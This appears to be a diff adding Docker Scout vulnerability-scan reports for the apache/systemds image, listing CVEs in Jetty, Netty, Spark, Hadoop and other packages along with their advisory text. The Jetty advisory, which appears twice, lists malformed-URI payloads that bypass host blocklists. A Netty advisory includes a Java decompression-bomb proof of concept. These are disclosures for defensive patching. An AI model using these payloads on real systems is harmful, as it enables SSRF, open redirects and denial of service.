+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.spark/spark-network-common_2.12 3.5.0 (maven) + +pkg:maven/org.apache.spark/spark-network-common_2.12@3.5.0
+medium 4.6: CVE--2025--55039 Inadequate Encryption Strength + + + + + + + + +
Affected range>=3.5.0
<3.5.2
Fixed version3.5.2
CVSS Score4.6
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U
EPSS Score0.058%
EPSS Percentile18th percentile
+ +
Description +
+ +This issue affects Apache Spark versions before 3.4.4, 3.5.2 and 4.0.0. + +Apache Spark versions before 4.0.0, 3.5.2 and 3.4.4 use an insecure default network encryption cipher for RPC communication between nodes. + +When spark.network.crypto.enabled is set to true (it is set to false by default), but spark.network.crypto.cipher is not explicitly configured, Spark defaults to AES in CTR mode (AES/CTR/NoPadding), which provides encryption without authentication. + +This vulnerability allows a man-in-the-middle attacker to modify encrypted RPC traffic undetected by flipping bits in ciphertext, potentially compromising heartbeat messages or application data and affecting the integrity of Spark workflows. + +To mitigate this issue, users should either configure spark.network.crypto.cipher to AES/GCM/NoPadding to enable authenticated encryption or enable SSL encryption by setting spark.ssl.enabled to true, which provides stronger transport security. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 zlib 1.3.1-r1 (apk) + +pkg:apk/alpine/zlib@1.3.1-r1?os_name=alpine&os_version=3.20
+medium : CVE--2026--22184 + + + + + + +
Affected range<=1.3.1-r1
Fixed versionNot Fixed
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.124.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA="))); + } +} +``` + +Error: + +``` +Exception in thread "main" java.lang.OutOfMemoryError: Cannot reserve 4194304 bytes of direct buffer memory (allocated: 1069580289, limit: 1073741824) + at java.base/java.nio.Bits.reserveMemory(Bits.java:178) + at java.base/java.nio.DirectByteBuffer.(DirectByteBuffer.java:121) + at java.base/java.nio.ByteBuffer.allocateDirect(ByteBuffer.java:332) + at io.netty.buffer.PoolArena$DirectArena.allocateDirect(PoolArena.java:718) + at io.netty.buffer.PoolArena$DirectArena.newChunk(PoolArena.java:693) + at io.netty.buffer.PoolArena.allocateNormal(PoolArena.java:213) + at io.netty.buffer.PoolArena.tcacheAllocateNormal(PoolArena.java:195) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:137) + at io.netty.buffer.PoolArena.allocate(PoolArena.java:127) + at io.netty.buffer.PooledByteBufAllocator.newDirectBuffer(PooledByteBufAllocator.java:403) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:188) + at io.netty.buffer.AbstractByteBufAllocator.directBuffer(AbstractByteBufAllocator.java:179) + at io.netty.buffer.AbstractByteBufAllocator.buffer(AbstractByteBufAllocator.java:116) + at io.netty.handler.codec.compression.BrotliDecoder.pull(BrotliDecoder.java:70) + at io.netty.handler.codec.compression.BrotliDecoder.decompress(BrotliDecoder.java:101) + at io.netty.handler.codec.compression.BrotliDecoder.decode(BrotliDecoder.java:137) + at io.netty.handler.codec.ByteToMessageDecoder.decodeRemovalReentryProtection(ByteToMessageDecoder.java:530) + at io.netty.handler.codec.ByteToMessageDecoder.callDecode(ByteToMessageDecoder.java:469) + at io.netty.handler.codec.ByteToMessageDecoder.channelRead(ByteToMessageDecoder.java:290) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:444) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.AbstractChannelHandlerContext.fireChannelRead(AbstractChannelHandlerContext.java:412) + at io.netty.channel.DefaultChannelPipeline$HeadContext.channelRead(DefaultChannelPipeline.java:1357) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:440) + at io.netty.channel.AbstractChannelHandlerContext.invokeChannelRead(AbstractChannelHandlerContext.java:420) + at io.netty.channel.DefaultChannelPipeline.fireChannelRead(DefaultChannelPipeline.java:868) + at io.netty.channel.embedded.EmbeddedChannel.writeInbound(EmbeddedChannel.java:348) + at io.netty.handler.codec.compression.T.main(T.java:11) +``` + +### Impact + +DoS for anyone using `BrotliDecoder` on untrusted input. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 1 org.apache.hadoop/hadoop-common 3.3.6 (maven) + +pkg:maven/org.apache.hadoop/hadoop-common@3.3.6
+low 2.0: CVE--2024--23454 Improper Privilege Management + + + + + + + + +
Affected range<3.4.0
Fixed version3.4.0
CVSS Score2
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
EPSS Score0.038%
EPSS Percentile11th percentile
+ +
Description +
+ +Apache Hadoop’s `RunJar.run()` does not set permissions for temporary directory by default. If sensitive data will be present in this file, all the other local users may be able to view the content. This is because, on unix-like systems, the system temporary directory is shared between all local users. As such, files written in this directory, without setting the correct posix permissions explicitly, may be viewable by all other local users. + +
+
+
+
critical: 0 high: 0 medium: 0 low: 0 unspecified: 1lz4 1.9.4-r5 (apk) + +pkg:apk/alpine/lz4@1.9.4-r5?os_name=alpine&os_version=3.20
+unspecified : CVE--2025--62813 + + + + + + +
Affected range<=1.9.4-r5
Fixed versionNot Fixed
EPSS Score0.018%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+
+ diff --git a/docker/scout_results/medium-cves/sysds_output9.md b/docker/scout_results/medium-cves/sysds_output9.md new file mode 100644 index 00000000000..803a35baa00 --- /dev/null +++ b/docker/scout_results/medium-cves/sysds_output9.md @@ -0,0 +1,1637 @@ +

:mag: Vulnerabilities of apache/systemds:latest

+ +
:package: Image Reference apache/systemds:latest + + + + + +
digestsha256:ac30738bda056e1096ebefcd790f910f1ebcd234c4a59973f9070cb9431a15e5
vulnerabilitiescritical: 1 high: 10 medium: 28 low: 7 unspecified: 1
platformlinux/amd64
size370 MB
packages358
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+
critical: 1 high: 2 medium: 5 low: 0 io.netty/netty 3.10.6.Final (maven) + +pkg:maven/io.netty/netty@3.10.6.Final
+critical 9.1: CVE--2019--20444 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score9.1
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
EPSS Score11.096%
EPSS Percentile93rd percentile
+ +
Description +
+ +HttpObjectDecoder.java in Netty before 4.1.44 allows an HTTP header that lacks a colon, which might be interpreted as a separate header with an incorrect syntax, or might be interpreted as an "invalid fold." + +
+
+ +high 7.5: CVE--2021--37137 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score2.383%
EPSS Percentile85th percentile
+ +
Description +
+ +### Impact +The Snappy frame decoder function doesn't restrict the chunk length which may lead to excessive memory usage. Beside this it also may buffer reserved skippable chunks until the whole chunk was received which may lead to excessive memory usage as well. + +This vulnerability can be triggered by supplying malicious input that decompresses to a very big size (via a network stream or a file) or by sending a huge skippable chunk. + +### Impact + +All users of SnappyFrameDecoder are affected and so the application may be in risk for a DoS attach due excessive memory usage. + +### References +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L79 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L171 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/SnappyFrameDecoder.java#L185 + +
+
+ +high 7.5: CVE--2021--37136 Uncontrolled Resource Consumption + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.021%
EPSS Percentile77th percentile
+ +
Description +
+ +### Impact +The Bzip2 decompression decoder function doesn't allow setting size restrictions on the decompressed output data (which affects the allocation size used during decompression). + + +All users of Bzip2Decoder are affected. The malicious input can trigger an OOME and so a DoS attack + +### Workarounds +No workarounds other than not using the `Bzip2Decoder` + +### References + +Relevant code areas: + +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L80 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L294 +https://github.com/netty/netty/blob/netty-4.1.67.Final/codec/src/main/java/io/netty/handler/codec/compression/Bzip2Decoder.java#L305 + +
+
+ +medium 6.5: CVE--2021--43797 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N
EPSS Score0.432%
EPSS Percentile62nd percentile
+ +
Description +
+ +### Impact + +Netty currently just skips control chars when these are present at the beginning / end of the header name. We should better fail fast as these are not allowed by the spec and could lead to HTTP request smuggling. + +Failing to do the validation might cause netty to "sanitize" header names before it forward these to another remote system when used as proxy. This remote system can't see the invalid usage anymore and so not do the validation itself. + + + +
+
+ +medium 6.2: CVE--2021--21290 Creation of Temporary File With Insecure Permissions + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score6.2
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.025%
EPSS Percentile6th percentile
+ +
Description +
+ +### Impact + +When netty's multipart decoders are used local information disclosure can occur via the local system temporary directory if temporary storing uploads on the disk is enabled. + +The CVSSv3.1 score of this vulnerability is calculated to be a [6.2/10](https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator?vector=AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N&version=3.1) + +### Vulnerability Details + +On unix-like systems, the temporary directory is shared between all user. As such, writing to this directory using APIs that do not explicitly set the file/directory permissions can lead to information disclosure. Of note, this does not impact modern MacOS Operating Systems. + +The method `File.createTempFile` on unix-like systems creates a random file, but, by default will create this file with the permissions `-rw-r--r--`. Thus, if sensitive information is written to this file, other local users can read this information. + +This is the case in netty's `AbstractDiskHttpData` is vulnerable. + +https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L80-L101 + +`AbstractDiskHttpData` is used as a part of the `DefaultHttpDataFactory` class which is used by `HttpPostRequestDecoder` / `HttpPostMultiPartRequestDecoder`. + +You may be affected by this vulnerability your project contains the following code patterns: + +```java +channelPipeline.addLast(new HttpPostRequestDecoder(...)); +``` + +```java +channelPipeline.addLast(new HttpPostMultiPartRequestDecoder(...)); +``` + +### Patches + +This has been patched in version `4.1.59.Final`. + +### Workarounds + +Specify your own `java.io.tmpdir` when you start the JVM or use `DefaultHttpDataFactory.setBaseDir(...)` to set the directory to something that is only readable by the current user. + +### References + + - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html) + - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html) + +### Similar Vulnerabilities + +Similar, but not the same. + + - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp + - Google Guava - https://github.com/google/guava/issues/4011 + - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945 + - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824 + +### For more information +If you have any questions or comments about this advisory: +* Open an issue in [netty](https://github.com/netty/netty) +* Email us [here](mailto:netty-security@googlegroups.com) + +### Original Report + +> Hi Netty Security Team, +> +> I've been working on some security research leveraging custom CodeQL queries to detect local information disclosure vulnerabilities in java applications. This was the result from running this query against the netty project: +> https://lgtm.com/query/7723301787255288599/ +> +> Netty contains three local information disclosure vulnerabilities, so far as I can tell. +> +> One is here, where the private key for the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L316-L346 +> +> One is here, where the certificate is written to a temporary file. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/handler/src/main/java/io/netty/handler/ssl/util/SelfSignedCertificate.java#L348-L371 +> +> The final one is here, where the 'AbstractDiskHttpData' creates a temporary file if the getBaseDirectory() method returns null. I believe that 'AbstractDiskHttpData' is used as a part of the file upload support? If this is the case, any files uploaded would be similarly vulnerable. +> +> https://github.com/netty/netty/blob/e5951d46fc89db507ba7d2968d2ede26378f0b04/codec-http/src/main/java/io/netty/handler/codec/http/multipart/AbstractDiskHttpData.java#L91 +> +> All of these vulnerabilities exist because `File.createTempFile(String, String)` will create a temporary file in the system temporary directory if the 'java.io.tmpdir' system property is not explicitly set. It is my understanding that when java creates a file, by default, and using this method, the permissions on that file utilize the umask. In a majority of cases, this means that the file that java creates has the permissions: `-rw-r--r--`, thus, any other local user on that system can read the contents of that file. +> +> Impacted OS: +> - Any OS where the system temporary directory is shared between multiple users. This is not the case for MacOS or Windows. +> +> Mitigation. +> +> Moving to the `Files` API instead will fix this vulnerability. +> https://docs.oracle.com/javase/8/docs/api/java/nio/file/Files.html#createTempFile-java.nio.file.Path-java.lang.String-java.lang.String-java.nio.file.attribute.FileAttribute...- +> +> This API will explicitly set the posix file permissions to something safe, by default. +> +> I recently disclosed a similar vulnerability in JUnit 4: +> https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp +> +> If you're also curious, this vulnerability in Jetty was also mine, also involving temporary directories, but is not the same vulnerability as in this case. +> https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6 +> +> I would appreciate it if we could perform disclosure of this vulnerability leveraging the GitHub security advisories feature here. GitHub has a nice credit system that I appreciate, plus the disclosures, as you can see from the sampling above, end up looking very nice. +> https://github.com/netty/netty/security/advisories +> +> This vulnerability disclosure follows Google's [90-day vulnerability disclosure policy](https://www.google.com/about/appsecurity/) (I'm not an employee of Google, I just like their policy). Full disclosure will occur either at the end of the 90-day deadline or whenever a patch is made widely available, whichever occurs first. +> +> Cheers, +> Jonathan Leitschuh + +
+
+ +medium 5.9: CVE--2021--21409 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score3.244%
EPSS Percentile87th percentile
+ +
Description +
+ +### Impact +The content-length header is not correctly validated if the request only use a single Http2HeaderFrame with the endStream set to to true. This could lead to request smuggling if the request is proxied to a remote peer and translated to HTTP/1.1 + +This is a followup of https://github.com/netty/netty/security/advisories/GHSA-wm47-8v5p-wjpj which did miss to fix this one case. + +### Patches +This was fixed as part of 4.1.61.Final + +### Workarounds +Validation can be done by the user before proxy the request by validating the header. + +
+
+ +medium 5.9: CVE--2021--21295 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + + + +
Affected range<4.0.0
Fixed versionNot Fixed
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N
EPSS Score0.360%
EPSS Percentile58th percentile
+ +
Description +
